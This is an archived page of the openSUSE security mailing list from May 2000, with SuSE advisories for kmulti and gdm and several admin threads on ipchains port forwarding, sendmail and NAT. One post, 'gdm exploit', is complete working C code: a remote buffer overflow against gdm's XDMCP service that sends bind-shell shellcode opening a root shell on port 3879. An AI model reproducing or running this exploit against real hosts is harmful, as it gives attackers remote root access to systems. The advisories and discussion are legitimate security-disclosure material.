May 2000 - openSUSE Security - openSUSE Mailing Lists

SuSE Security Announcement: kmulti
by thomas＠suse.de 29 May '00

29 May '00

-----BEGIN PGP SIGNED MESSAGE----- ______________________________________________________________________________ SuSE Security Announcement Package: kmulti <= 1.1.2 Date: Mon May 29 17:44:28 MEST 2000 Affected SuSE versions: 6.1-6.4 Vulnerability Type: local root compromise SuSE default package: no Other affected systems: all unix systems using kdemultimedia and setting kscd setgid disk ______________________________________________________________________________ A security hole was discovered in the package mentioned above. Please update it as soon as possible or disable the service if you are using this software on your SuSE Linux installation(s). Other Linux distributions or operating systems might be affected as well, please contact your vendor for information about this issue. Please note that we provide this information on an "as-is" basis only. There is no warranty whatsoever and no liability for any direct, indirect or incidental damage arising from this information or the installation of the update package. _____________________________________________________________________________ 1. Problem Description The KDE CD player kscd is setgid disk to be able to access the device file of the CDROM. To perform some action kscd calls the unix command shell specified in the environment variable SHELL with the privileges of group disk. 2. Impact An adversary could set SHELL to his own program to get local root access to the system by writing directly to the raw HDD device. 3. Solution Update the package from our FTP server. ______________________________________________________________________________ Please verify these md5 checksums of the updates before installing: (For SuSE 6.0, please use the 6.1 updates) AXP: 817852e77080ecb444cb3ab9d0e6f52d ftp://ftp.suse.com/pub/suse/axp/update/6.1/kde1/kmulti-1.1.2-141.alpha.rpm bf3ea6a10793225d5468efa72efb13cb ftp://ftp.suse.com/pub/suse/axp/update/6.1/zq1/kmulti-1.1.2-141.src.rpm 8e1cc62cf437c43eca044562637d9ea3 ftp://ftp.suse.com/pub/suse/axp/update/6.3/kde1/kmulti-1.1.2-141.alpha.rpm 61dc0c2588a707ec9ba1c6be00aac58c ftp://ftp.suse.com/pub/suse/axp/update/6.3/zq1/kmulti-1.1.2-141.src.rpm 45e951b3b14435a1c1ab89d3e4e5df1d ftp://ftp.suse.com/pub/suse/axp/update/6.4/kde1/kmulti-1.1.2-141.alpha.rpm a70b356603227e1a0e49d0eeab934ad8 ftp://ftp.suse.com/pub/suse/axp/update/6.4/zq1/kmulti-1.1.2-141.src.rpm i386: d4c6bc55edbb9aa4da76b2d9b186e6a9 ftp://ftp.suse.com/pub/suse/i386/update/6.1/kde1/kmulti-1.1.2-141.i386.rpm 9ac324e3a9bb1794280d8175f5762d5d ftp://ftp.suse.com/pub/suse/i386/update/6.1/zq1/kmulti-1.1.2-141.src.rpm f8318113abdde6e2a9118db63d50a550 ftp://ftp.suse.com/pub/suse/i386/update/6.2/kde1/kmulti-1.1.2-141.i386.rpm 18d5fc80412db2dc70770d9b175180d9 ftp://ftp.suse.com/pub/suse/i386/update/6.2/zq1/kmulti-1.1.2-141.src.rpm 43f1febe8dc5502132246b8ad977db54 ftp://ftp.suse.com/pub/suse/i386/update/6.3/kde1/kmulti-1.1.2-141.i386.rpm bce686afd6186c9cb9816ccf95744040 ftp://ftp.suse.com/pub/suse/i386/update/6.3/zq1/kmulti-1.1.2-141.src.rpm 4a14b88f9b6f80c8ffcf4b82750d7bfb ftp://ftp.suse.com/pub/suse/i386/update/6.4/kde1/kmulti-1.1.2-140.i386.rpm de787463851f38b69e576cf8de7d9309 ftp://ftp.suse.com/pub/suse/i386/update/6.4/zq1/kmulti-1.1.2-140.src.rpm PPC: 3de7429a24620ca2b7e61f799478e2b8 ftp://ftp.suse.com/pub/suse/ppc/update/6.4/kde1/kmulti-1.1.2-141.ppc.rpm 444e9ffc4fbc643deb208c45bcb31725 ftp://ftp.suse.com/pub/suse/ppc/update/6.4/zq1/kmulti-1.1.2-141.src.rpm ______________________________________________________________________________ You can find updates on our ftp-Server: ftp://ftp.suse.com/pub/suse/i386/update for Intel processors ftp://ftp.suse.com/pub/suse/axp/update for Alpha processors or try the following web pages for a list of mirrors: http://www.suse.de/ftp.html http://www.suse.com/ftp_new.html Our webpage for patches: http://www.suse.de/patches/index.html Our webpage for security announcements: http://www.suse.de/security If you want to report vulnerabilities, please contact security(a)suse.de ______________________________________________________________________________ SuSE has got two free security mailing list services to which any interested party may subscribe: suse-security(a)suse.com - moderated and for general/linux/SuSE security discussions. All SuSE security announcements are sent to this list. suse-security-announce(a)suse.com - SuSE's announce-only mailing list. Only SuSE's security annoucements are sent to this list. To subscribe to the list, send a message to: <suse-security-subscribe(a)suse.com> To remove your address from the list, send a message to: <suse-security-unsubscribe(a)suse.com> Send mail to the following for info and FAQ for this list: <suse-security-info(a)suse.com> <suse-security-faq(a)suse.com> _____________________________________________________________________________ This information is provided freely to everyone interested and may be redistributed provided that it is not altered in any way. Type Bits/KeyID Date User ID pub 2048/3D25D3D9 1999/03/06 SuSE Security Team <security(a)suse.de> - ------BEGIN PGP PUBLIC KEY BLOCK----- Version: 2.6.3i mQENAzbhLQQAAAEIAKAkXHe0lWRBXLpn38hMHy03F0I4Sszmoc8aaKJrhfhyMlOA BqvklPLE2f9UrI4Xc860gH79ZREwAgPt0pi6+SleNFLNcNFAuuHMLQOOsaMFatbz JR9i4m/lf6q929YROu5zB48rBAlcfTm+IBbijaEdnqpwGib45wE/Cfy6FAttBHQh 1Kp+r/jPbf1mYAvljUfHKuvbg8t2EIQz/5yGp+n5trn9pElfQO2cRBq8LFpf1l+U P7EKjFmlOq+Gs/fF98/dP3DfniSd78LQPq5vp8RL8nr/o2i7jkAQ33m4f1wOBWd+ cZovrKXYlXiR+Bf7m2hpZo+/sAzhd7LmAD0l09kABRG0JVN1U0UgU2VjdXJpdHkg VGVhbSA8c2VjdXJpdHlAc3VzZS5kZT6JARUDBRA24S1H5Fiyh7HKPEUBAVcOB/9b yHYji1/+4Xc2GhvXK0FSJN0MGgeXgW47yxDL7gmR4mNgjlIOUHZj0PEpVjWepOJ7 tQS3L9oP6cpj1Fj/XxuLbkp5VCQ61hpt54coQAvYrnT9rtWEGN+xmwejT1WmYmDJ xG+EGBXKr+XP69oIUl1E2JO3rXeklulgjqRKos4cdXKgyjWZ7CP9V9daRXDtje63 Om8gwSdU/nCvhdRIWp/Vwbf7Ia8iZr9OJ5YuQl0DBG4qmGDDrvImgPAFkYFzwlqo choXFQ9y0YVCV41DnR+GYhwl2qBd81T8aXhihEGPIgaw3g8gd8B5o6mPVgl+nJqI BkEYGBusiag2pS6qwznZiQEVAwUQNuEtBHey5gA9JdPZAQFtOAf+KVh939b0J94u v/kpg4xs1LthlhquhbHcKNoVTNspugiC3qMPyvSX4XcBr2PC0cVkS4Z9PY9iCfT+ x9WM96g39dAF+le2CCx7XISk9XXJ4ApEy5g4AuK7NYgAJd39PPbERgWnxjxir9g0 Ix30dS30bW39D+3NPU5Ho9TD/B7UDFvYT5AWHl3MGwo3a1RhTs6sfgL7yQ3U+mvq MkTExZb5mfN1FeaYKMopoI4VpzNVeGxQWIz67VjJHVyUlF20ekOz4kWVgsxkc8G2 saqZd6yv2EwqYTi8BDAduweP33KrQc4KDDommQNDOXxaKOeCoESIdM4p7Esdjq1o L0oixF12Cg== =pIeS - ------END PGP PUBLIC KEY BLOCK----- -----BEGIN PGP SIGNATURE----- Version: 2.6.3i Charset: noconv iQEVAwUBOTKW13ey5gA9JdPZAQG5mQf9GnlNPRgZ6X76u5p0965H0Nj10wZBtO2T oMxJLESQ8k1DwamMNMku0+UloAEBlEeMIb4Yq7GVuoy+bSsPyLC7714ZsX6TmaSV VMEkZc5D3FgJ0vYbYelKB7SItENeppZ0BWDZb/CxQHybL8Wc/bV9WpBYgvRbKvha BMZON8KNdjr2ZTJDl/IiFIRpgZLgkvMmPtff430RgOkaHeNQLvhs2latgqwageSl uk9I/2c1ZMOqEOtgPtCkROjb73n2wDXDIn5fTH5Pk2v4bROWmBhFZVSO9aD0viTR 0WYtvQycwgeAEWIh14+aOzM5/8AJDflmSW3PjcBO0qtCVnoimSJVNg== =w9bO -----END PGP SIGNATURE-----

1 0

IP-Chains Home Page
by gerhard.possler＠westernacher.de 29 May '00

29 May '00

Hi, what's wrong with www.rustcorp.com ? ist rusty offline? ;-) regards ------------------------------------------------------------------------ Gerhard Possler "Wer neue Wege geht, braucht starke Partner." Westernacher AG Am Hubengut 3 76149 Karlsruhe, Germany phone: +49-721/9772-0 fax: +49-721/9772-188 http://www.westernacher.de

1 0

gdm exploit
by abraxas＠sekure.de 27 May '00

27 May '00

/* * gdm (xdmcp) exploit * written 05/2000 by AbraxaS * * abraxas(a)sekure.de && www.sekure.de * * * Tested on: SuSE 6.2 / gdm-2.0beta1-4, * RedHat 6.2 / gdm-2.0beta2 * * Offsets: Worked with offsets between 0 and 300 * * Usage: gdmexpl [target] [offset] * * Note: Just a proof of concept. * * Greetings to: dies, grue, lamagra & (silly) peak */ #include <stdio.h> #include <strings.h> #include <unistd.h> #include <netinet/in.h> #include <sys/socket.h> #include <sys/types.h> #include <netdb.h> #define NOP 0x90 /* lammys bind shell code / binds a shell to port 3879 */ char code[]= "\x89\xe5\x31\xd2\xb2\x66\x89\xd0\x31\xc9\x89\xcb\x43\x89\x5d\xf8" "\x43\x89\x5d\xf4\x4b\x89\x4d\xfc\x8d\x4d\xf4\xcd\x80\x31\xc9\x89" "\x45\xf4\x43\x66\x89\x5d\xec\x66\xc7\x45\xee\x0f\x27\x89\x4d\xf0" "\x8d\x45\xec\x89\x45\xf8\xc6\x45\xfc\x10\x89\xd0\x8d\x4d\xf4\xcd" "\x80\x89\xd0\x43\x43\xcd\x80\x89\xd0\x43\xcd\x80\x89\xc3\x31\xc9" "\xb2\x3f\x89\xd0\xcd\x80\x89\xd0\x41\xcd\x80\xeb\x18\x5e\x89\x75" "\x08\x31\xc0\x88\x46\x07\x89\x45\x0c\xb0\x0b\x89\xf3\x8d\x4d\x08" "\x8d\x55\x0c\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh"; int resolve (char *denise) { struct hostent *info; unsigned long ip; if ((ip=inet_addr(denise))==-1) { if ((info=gethostbyname(denise))==0) { printf("Couldn't resolve [%s]\n", denise); exit(0); } memcpy(&ip, (info->h_addr), 4); } return (ip); } int main (int argc, char **argv) { char uhm; int nadine; short blah[6]; char buffy[1400]; /* you might make this buffer bigger to increase the probability to hit the right addy. making the buffer too big could destroy the code though */ unsigned long addy; struct sockaddr_in stephanie; char big_buffy[sizeof(buffy)+12]; if (argc < 3) { printf("\nGDM 2.0betaX exploit by AbraxaS (abraxas(a)sekure.de)" "\nUsage: %s [target] [offset]\n", argv[0]); exit(0); } addy = 0xbffff8c0-atoi(argv[2]); stephanie.sin_family = AF_INET; stephanie.sin_port = htons (177); stephanie.sin_addr.s_addr = resolve(argv[1]); nadine = socket (AF_INET, SOCK_DGRAM, 0); if (connect(nadine,(struct sockaddr *)&stephanie,sizeof(struct sockaddr))<0) { perror("Connect"); exit(0); } /* filling buffer.buffy with NOPs */ memset(buffy, NOP, sizeof(buffy)); /* cleaning buffer.big_buffy */ bzero(big_buffy, sizeof(big_buffy)); /* * creating XDMCP header */ /* XDM_PROTOCOL_VERSION */ blah[0] = htons(1); /* opcode "FORWARD_QUERY" */ blah[1] = htons(4); /* length (checksum)*/ blah[2] = htons(5+sizeof(buffy)); /* see checksum algorithm */ /* length of display buffer */ blah[3] = htons(sizeof(buffy)); /* display port */ blah[4] = htons(0); /* authlist */ blah[5] = htons(0); *(short *)&big_buffy[0]=blah[0]; *(short *)&big_buffy[2]=blah[1]; *(short *)&big_buffy[4]=blah[2]; *(short *)&big_buffy[6]=blah[3]; *(short *)&big_buffy[sizeof(buffy)+8]=blah[4]; *(short *)&big_buffy[sizeof(buffy)+10]=blah[5]; /* writing shellcode */ memcpy(buffy+sizeof(buffy)-strlen(code), code, strlen(code)); /* fixing some stuff */ *(long *)&buffy[0] = 0x0100007f; /* source address, not neccessary */ *(long *)&buffy[4] = 0x00000000; /* cleaning clnt_authlist */ *(long *)&buffy[8] = 0x00000000; /* writing own RET address */ *(long *)&buffy[32]=addy; /* copying buffy into big_buffy */ memcpy(big_buffy+8, buffy, sizeof(buffy)); /* sending big_buffy */ write(nadine, big_buffy, sizeof(big_buffy)); printf("\nConnect to %s, port 3879 now.", argv[1]); printf("\nBut behave :) --abraxas\n"); close(nadine); }

1 0

Re: AW: [suse-security] port forwarding with ipchains / firewallpacka ge suse 6.4
by Florian Gnägi 27 May '00

27 May '00

thanks to everybody who droped me a lign. I eventually tried it with rinetd and I works just perfect. Cool thing, but why isn't it mentioned anywhere in the firewall section of the Book that comes with the 6.4 distro? anyway, thanks & enjoy the weekend -florian On Thu, 25 May 2000, "Bär, Wolfgang" wrote: > Hi, > > I'm using series n, rinetd for smtp, pop forwarding... works fine :-) > > If you need details, mail me > > Mit freundlichen Gruessen, > > W.Bär > > IVM GmbH & Co KG > -EDV- Tel: +49 (89) 62 189-583 > Candidplatz 11 Fax: +49 (89) 62 189-123 > D-81534 Muenchen > > > > -----Ursprüngliche Nachricht----- > > Von: Florian Gnägi [mailto:gnaegi@icu.unizh.ch] > > Gesendet: Donnerstag, 25. Mai 2000 18:19 > > An: suse-security(a)suse.de > > Betreff: [suse-security] port forwarding with ipchains / > > firewallpackage > > suse 6.4 > > > > > > Hi > > > > I have serious problems installing a working port forwarding > > setup on a > > SuSE 6.4 box. I have a internal webserver I want to make public. > > > > +------------+ +--------------------+ > > internet ---| myfirewall |----| internal www-server| > > | 195.x.x.x. | | 10.10.10.150 | > > +------------+ +--------------------+ > > > > I've red all kind of masquerade, ipchains and firewall-howtos > > I could get > > but it still doesn't work or said the other way round: I just > > don't get > > it. > > > > I have no problem using the Internet from the internale network, > > masquerading seems to work fine. > > > > > > I'm using the /etc/rc.config.d/firewall.rc.config file with > > the parameters > > > > FW_SERVICES_EXTERNAL_TCP="www ssh domain smtp" > > FW_FORWARD_TCP="0/0,10.10.10.150,80" > > > > but it doesn't work. I tried all other kind of combinations > > and also with > > the option > > > > FW_REDIRECT_TCP="0/0,10.10.10.150,80,80" > > > > but I can't make it work. > > > > I installed ipmasqadm since I couldn't find it on the CD's and it was > > mentioned in all the howto's > > > > However, > > > > portfw -a -P tcp -L 195.x.x.x.x 80 -R 10.10.10.150 80 > > > > didn't change anything neither. > > > > > > I'm using the standard 2.2.14 kernel which comes with SuSE 6.4, I > > recompiled and made sure alle IP and firewall options found their way > > into my kernel. > > > > > > Any hints and help would be apprechiated very much. I can send you a > > ipchains-save dump if this helps helping me... > > > > > > Do I need to install anything that doesn't come automatically with the > > suse firewall package? > > > > > > > > greetings > > > > -florian > > > > > > --------------------------------------------------------------------- > > To unsubscribe, e-mail: suse-security-unsubscribe(a)suse.com > > For additional commands, e-mail: suse-security-help(a)suse.com > > > >

2 1

Re: [suse-security] port forwarding with ipchains / firewallpackage suse 6.4
by Jeremy Buchmann 26 May '00

26 May '00

Hello, We are doing that exact thing here, and yes you may want to use another tool. In the Linux IP-CHAINS HOW-TO, section 3.3.5, the author talks about how to do this. I decided to use the redir program, and have not had a problem with it for the 100+ days it has been running. The only thing I have noticed is TCP sequence prediction gets incredibly easy, even though on Linux it is supposed to be virtually impossible. I combed through the code for redir and found the author was using a write() instead of a send() to get the data back to the clients. Since we're on the subject, let me pose a question to any network programmers out there: could this be the cause? -- Jeremy Buchmann System Admin/Database Programmer Wells Gaming Research ---------- >From: Florian Gnägi <gnaegi(a)icu.unizh.ch> >To: suse-security(a)suse.de >Subject: [suse-security] port forwarding with ipchains / firewallpackage suse 6.4 >Date: Thu, May 25, 2000, 9:18 AM > > Hi > > I have serious problems installing a working port forwarding setup on a > SuSE 6.4 box. I have a internal webserver I want to make public. > > +------------+ +--------------------+ > internet ---| myfirewall |----| internal www-server| > | 195.x.x.x. | | 10.10.10.150 | > +------------+ +--------------------+ > > I've red all kind of masquerade, ipchains and firewall-howtos I could get > but it still doesn't work or said the other way round: I just don't get > it. > > I have no problem using the Internet from the internale network, > masquerading seems to work fine. > > > I'm using the /etc/rc.config.d/firewall.rc.config file with the parameters > > FW_SERVICES_EXTERNAL_TCP="www ssh domain smtp" > FW_FORWARD_TCP="0/0,10.10.10.150,80" > > but it doesn't work. I tried all other kind of combinations and also with > the option > > FW_REDIRECT_TCP="0/0,10.10.10.150,80,80" > > but I can't make it work. > > I installed ipmasqadm since I couldn't find it on the CD's and it was > mentioned in all the howto's > > However, > > portfw -a -P tcp -L 195.x.x.x.x 80 -R 10.10.10.150 80 > > didn't change anything neither. > > > I'm using the standard 2.2.14 kernel which comes with SuSE 6.4, I > recompiled and made sure alle IP and firewall options found their way > into my kernel. > > > Any hints and help would be apprechiated very much. I can send you a > ipchains-save dump if this helps helping me... > > > Do I need to install anything that doesn't come automatically with the > suse firewall package? > > > > greetings > > -florian > > > --------------------------------------------------------------------- > To unsubscribe, e-mail: suse-security-unsubscribe(a)suse.com > For additional commands, e-mail: suse-security-help(a)suse.com > >

1 0

sendmail 8.9.3
by Bjoern Chyba 26 May '00

26 May '00

hi there i've noticed following problem with my sendmail: running the command sendmail as root works just fine. when run as any other user, I get the following error message: > /usr/sbin/sendmail /usr/sbin/sendmail: error in loading shared libraries : undefined symbol: __rawmemchr is this a SuSE-Bug? i really need sendmail to be run as simple user for processing feedback formulars with perl scripts (/usr/sbin/sendmail -t). does anybody know a quick work-around? thanks in advance, Bjoern

4 3

AW: [suse-security] IPCHAINS again (because first mail was digita l signed)
by Gerling, Stephan 26 May '00

26 May '00

Hi Carlos , your thougth is right. Here a little bit more Info's . Internet Private Network |-------| ------------| FW |----------- |-------| ip 212.185.40.xxx ip range 192.168.xxx.xxx i have icmp rules included but they dont work forwarding rule is masquerade all a ping from the private network to the FW internal NIC causes in an "request time out" also an ping from internal to external. from external i didnt testet it yet I think i beginn with an clean script from scratch. But i have a thinking problem with the masq. rules regards Stephan Gerling -----Ursprüngliche Nachricht----- Von: Carlos Manuel Duclos Vergara [mailto:carlos@embedded.cl] Gesendet: Freitag, 26. Mai 2000 08:40 An: Gerling, Stephan Betreff: Re: [suse-security] IPCHAINS again (because first mail was digital signed) El jue, 25 may 2000, escribiste: > Hi list, > I'am trying to set up an firewall with IPCHAINS. > If the IPCHAINS-Script is not started, i kann do everything. (i use the same > script on an other > maschine and it works very fine and i want to change the maschines) > But now wenn i start the script, the rules are loaded, but i cannot ping to > the outside > here the error messages > ping wrote xxx.xxx.xxx.xxx 64 chars, ret=-1 > ping sendto :Operating is not permitted > ip-forwarding is enabled. > Has anyone an idea. I'm going sick about this > regards, Stephan Gerling Hi!!!! if you send us your rules, maybe we can see where the problem is.... but, my first thought is enabling icmp forwarding :-) does the other services work allright ? -- Carlos Manuel Duclos Vergara carlos(a)embedded.cl

2 1

SuSE Security Announcement: gdm
by thomas＠suse.de 26 May '00

26 May '00

-----BEGIN PGP SIGNED MESSAGE----- ______________________________________________________________________________ SuSE Security Announcement Package: gdm <= 2.0beta4-25 Date: Wed May 24 08:35:39 CET 2000 Affected SuSE versions: 6.2-6.4 Vulnerability Type: remote compromise SuSE default package: no Other affected systems: all linux systems using gdm <= 2.0beta4 ______________________________________________________________________________ A security hole was discovered in the package mentioned above. Please update it as soon as possible or disable the service if you are using this software on your SuSE Linux installation(s). Other Linux distributions or operating systems might be affected as well, please contact your vendor for information about this issue. Please note that we provide this information on an "as-is" basis only. There is no warranty whatsoever and no liability for any direct, indirect or incidental damage arising from this information or the installation of the update package. _____________________________________________________________________________ 1. Problem Description The GNOME package includes a xdm replacement called gdm for handling graphical console and network logins. The gdm code, that process' logins over the network, could be tricked into writing data from the network right into the stack. This condition exists while gdm is running with root privileges and before the user is authenticated. 2. Impact An remote adversary could crash gdm or execute his own code, which leads to root compromise of the system running gdm. 3. Solution By default gdm doesn't accept login connection from the network. Older SuSE releases, which include gdm 1.x, allow network logins by default but aren't vulnerable by this bug. If you need the network login feature of gdm, update the package from our FTP server, please. ______________________________________________________________________________ Please verify these md5 checksums of the updates before installing: (For SuSE 6.0, please use the 6.1 updates) AXP: ffb656afe38ee6e5c04789f8fce8b1a8 ftp://ftp.suse.com/pub/suse/axp/update/6.3/gnm2/gdm-2.0beta4-74.alpha.rpm f5c7bf9b8fd133e74481ecd6c0d5678e ftp://ftp.suse.com/pub/suse/axp/update/6.3/zq1/gdm-2.0beta4-74.src.rpm 928d262fd9e8f1ff40e6f84b560daf7b ftp://ftp.suse.com/pub/suse/axp/update/6.4/gnm2/gdm-2.0beta4-74.alpha.rpm 6f8a0cc01b9b37f5d6b7bf93b138afb2 ftp://ftp.suse.com/pub/suse/axp/update/6.4/zq1/gdm-2.0beta4-74.src.rpm i386: 8a8adfa55587b1db0cf9816e7d8839c6 ftp://ftp.suse.com/pub/suse/i386/update/6.2/gnm2/gdm-2.0beta4-72.i386.rpm fea8fda701692bea4fb658edc7a504ea ftp://ftp.suse.com/pub/suse/i386/update/6.2/zq1/gdm-2.0beta4-72.src.rpm be26d14f8693d50002a5462c28a45d5a ftp://ftp.suse.com/pub/suse/i386/update/6.3/gnm2/gdm-2.0beta4-72.i386.rpm bcc226af12ce171d4aa41c6d490d2b8f ftp://ftp.suse.com/pub/suse/i386/update/6.3/zq1/gdm-2.0beta4-72.src.rpm 372583d0633d4d0115e6f3bc8397cf16 ftp://ftp.suse.com/pub/suse/i386/update/6.4/gnm2/gdm-2.0beta4-72.i386.rpm 33896dd68321aa45c837da34547debf5 ftp://ftp.suse.com/pub/suse/i386/update/6.4/zq1/gdm-2.0beta4-72.src.rpm ______________________________________________________________________________ You can find updates on our ftp-Server: ftp://ftp.suse.com/pub/suse/i386/update for Intel processors ftp://ftp.suse.com/pub/suse/axp/update for Alpha processors or try the following web pages for a list of mirrors: http://www.suse.de/ftp.html http://www.suse.com/ftp_new.html Our webpage for patches: http://www.suse.de/patches/index.html Our webpage for security announcements: http://www.suse.de/security If you want to report vulnerabilities, please contact security(a)suse.de ______________________________________________________________________________ SuSE has got two free security mailing list services to which any interested party may subscribe: suse-security(a)suse.com - moderated and for general/linux/SuSE security discussions. All SuSE security announcements are sent to this list. suse-security-announce(a)suse.com - SuSE's announce-only mailing list. Only SuSE's security annoucements are sent to this list. To subscribe to the list, send a message to: <suse-security-subscribe(a)suse.com> To remove your address from the list, send a message to: <suse-security-unsubscribe(a)suse.com> Send mail to the following for info and FAQ for this list: <suse-security-info(a)suse.com> <suse-security-faq(a)suse.com> _____________________________________________________________________________ This information is provided freely to everyone interested and may be redistributed provided that it is not altered in any way. Type Bits/KeyID Date User ID pub 2048/3D25D3D9 1999/03/06 SuSE Security Team <security(a)suse.de> - ------BEGIN PGP PUBLIC KEY BLOCK----- Version: 2.6.3i mQENAzbhLQQAAAEIAKAkXHe0lWRBXLpn38hMHy03F0I4Sszmoc8aaKJrhfhyMlOA BqvklPLE2f9UrI4Xc860gH79ZREwAgPt0pi6+SleNFLNcNFAuuHMLQOOsaMFatbz JR9i4m/lf6q929YROu5zB48rBAlcfTm+IBbijaEdnqpwGib45wE/Cfy6FAttBHQh 1Kp+r/jPbf1mYAvljUfHKuvbg8t2EIQz/5yGp+n5trn9pElfQO2cRBq8LFpf1l+U P7EKjFmlOq+Gs/fF98/dP3DfniSd78LQPq5vp8RL8nr/o2i7jkAQ33m4f1wOBWd+ cZovrKXYlXiR+Bf7m2hpZo+/sAzhd7LmAD0l09kABRG0JVN1U0UgU2VjdXJpdHkg VGVhbSA8c2VjdXJpdHlAc3VzZS5kZT6JARUDBRA24S1H5Fiyh7HKPEUBAVcOB/9b yHYji1/+4Xc2GhvXK0FSJN0MGgeXgW47yxDL7gmR4mNgjlIOUHZj0PEpVjWepOJ7 tQS3L9oP6cpj1Fj/XxuLbkp5VCQ61hpt54coQAvYrnT9rtWEGN+xmwejT1WmYmDJ xG+EGBXKr+XP69oIUl1E2JO3rXeklulgjqRKos4cdXKgyjWZ7CP9V9daRXDtje63 Om8gwSdU/nCvhdRIWp/Vwbf7Ia8iZr9OJ5YuQl0DBG4qmGDDrvImgPAFkYFzwlqo choXFQ9y0YVCV41DnR+GYhwl2qBd81T8aXhihEGPIgaw3g8gd8B5o6mPVgl+nJqI BkEYGBusiag2pS6qwznZiQEVAwUQNuEtBHey5gA9JdPZAQFtOAf+KVh939b0J94u v/kpg4xs1LthlhquhbHcKNoVTNspugiC3qMPyvSX4XcBr2PC0cVkS4Z9PY9iCfT+ x9WM96g39dAF+le2CCx7XISk9XXJ4ApEy5g4AuK7NYgAJd39PPbERgWnxjxir9g0 Ix30dS30bW39D+3NPU5Ho9TD/B7UDFvYT5AWHl3MGwo3a1RhTs6sfgL7yQ3U+mvq MkTExZb5mfN1FeaYKMopoI4VpzNVeGxQWIz67VjJHVyUlF20ekOz4kWVgsxkc8G2 saqZd6yv2EwqYTi8BDAduweP33KrQc4KDDommQNDOXxaKOeCoESIdM4p7Esdjq1o L0oixF12Cg== =pIeS - ------END PGP PUBLIC KEY BLOCK----- -----BEGIN PGP SIGNATURE----- Version: 2.6.3i Charset: noconv iQEVAwUBOS4SAney5gA9JdPZAQEIOgf/QimA7HRqpapj+tZ3gleMjKtSVD9F9L/t dB8whPqBpebxUpRN8mgonaeRZmFVqbos5ll4mk2Ua20XDvuE/aQT2xxvQ3dT5ubV u+BlF+3HcxxOLYw0d5mDVGUQjSlArhklhiJ1Mc1ibM8Xf24LV8i6D36XAWSuv3U+ WiVRk9P1IXmlgiJC9r3j1uqSAqHNpzLQwcRHHxSPBjlJJHYOHr0CfXpLhKm3KJjT rGwMSqs/hHQ+In7VtpR/EzLBUlZ3UljLNoPRO4kLnmBoYv2qDMIcYDN8TMRG8H3D AtAReOF67M10dLj0J75n4I2zBXnGH0VtNBkUUpvfquOoiijr/mWTiw== =izc5 -----END PGP SIGNATURE-----

1 0

port forwarding with ipchains / firewallpackage suse 6.4
by Florian Gnägi 25 May '00

25 May '00

Hi I have serious problems installing a working port forwarding setup on a SuSE 6.4 box. I have a internal webserver I want to make public. +------------+ +--------------------+ internet ---| myfirewall |----| internal www-server| | 195.x.x.x. | | 10.10.10.150 | +------------+ +--------------------+ I've red all kind of masquerade, ipchains and firewall-howtos I could get but it still doesn't work or said the other way round: I just don't get it. I have no problem using the Internet from the internale network, masquerading seems to work fine. I'm using the /etc/rc.config.d/firewall.rc.config file with the parameters FW_SERVICES_EXTERNAL_TCP="www ssh domain smtp" FW_FORWARD_TCP="0/0,10.10.10.150,80" but it doesn't work. I tried all other kind of combinations and also with the option FW_REDIRECT_TCP="0/0,10.10.10.150,80,80" but I can't make it work. I installed ipmasqadm since I couldn't find it on the CD's and it was mentioned in all the howto's However, portfw -a -P tcp -L 195.x.x.x.x 80 -R 10.10.10.150 80 didn't change anything neither. I'm using the standard 2.2.14 kernel which comes with SuSE 6.4, I recompiled and made sure alle IP and firewall options found their way into my kernel. Any hints and help would be apprechiated very much. I can send you a ipchains-save dump if this helps helping me... Do I need to install anything that doesn't come automatically with the suse firewall package? greetings -florian

1 0

6.4 and masq and NAT and mem probs
by Marco Heuer 25 May '00

25 May '00

Hi list, Recently (2 weeks ago) we installed a firewall for our office with SuSE 6.4 and have two networks inside. One is supposed to be private (for office users and thus masq-ed). The other one has a couple of public IPs and should be partially NAT-ed as some of the private IPs. Furthermore everything is filtered by ipchains. Hey, after many many hours we got it configured and it even works! *yeah* *smile* Well, it worked. For some time at least. Using the system for a couple of days (and sometimes even only hours) there is no memory left to fork any new processes! top does not show any processes using an extraordinary amount of mem (user's bashs 1-2MB at the most). Hmm, an old setup with 6.2 and 6.3 and w/o NAT ran over a year with just two reboots (replacing a HDD). So turning off NAT helped. The system is now running and running... As of this moment a Cisco 1605 is doing the NAT for us, but it is ugly. Question to you guys: Has anyone ever heard of or seen of such a problem? Thanks a lot for any ideas! Marco PS Ah yes, specs of our current system: - PII 400 on 128MB, i CA810e mother board - two Intel NICs (one onboard, same chip GD82559 with e100.c drivers)

1 0